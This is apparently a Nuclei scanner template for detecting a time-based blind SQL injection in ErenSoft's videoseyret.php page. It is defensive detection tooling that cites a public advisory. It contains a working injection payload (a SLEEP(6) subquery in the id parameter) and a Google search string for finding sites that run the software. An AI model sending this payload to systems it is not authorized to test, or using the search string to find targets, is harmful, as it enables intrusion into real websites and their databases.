id: erensoft-sqli

info:
  name: ErenSoft - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    SQL Injection is a type of SQL injection attack in which an attacker can exploit a vulnerability in a web application's input fields to manipulate the application's SQL queries.
  reference:
    - https://cxsecurity.com/issue/WLB-2023070055
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"Kodlama:Erensoft"
  tags: sqli,unauth,erensoft

http:
  - raw:
      - |
        GET /videoseyret.php?id=95%20AND%20(SELECT%204581%20FROM%20(SELECT(SLEEP(6)))NyiX) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 200
          - contains(content_type, "text/html") && contains(body, "videoseyret")
        condition: and

      - type: word
        words:
          - class="entry-title"
# digest: 490a00463044022072d8bc1d7a793f83426800db9bc96f9f423ae26db72dc6284707e3628fdba41402200cbe475dbc83a896de18981e835e2bf65c9c3dc4a17a1c9178e64c1ce50dcd32:922c64590222798bb761d5b6d8e72950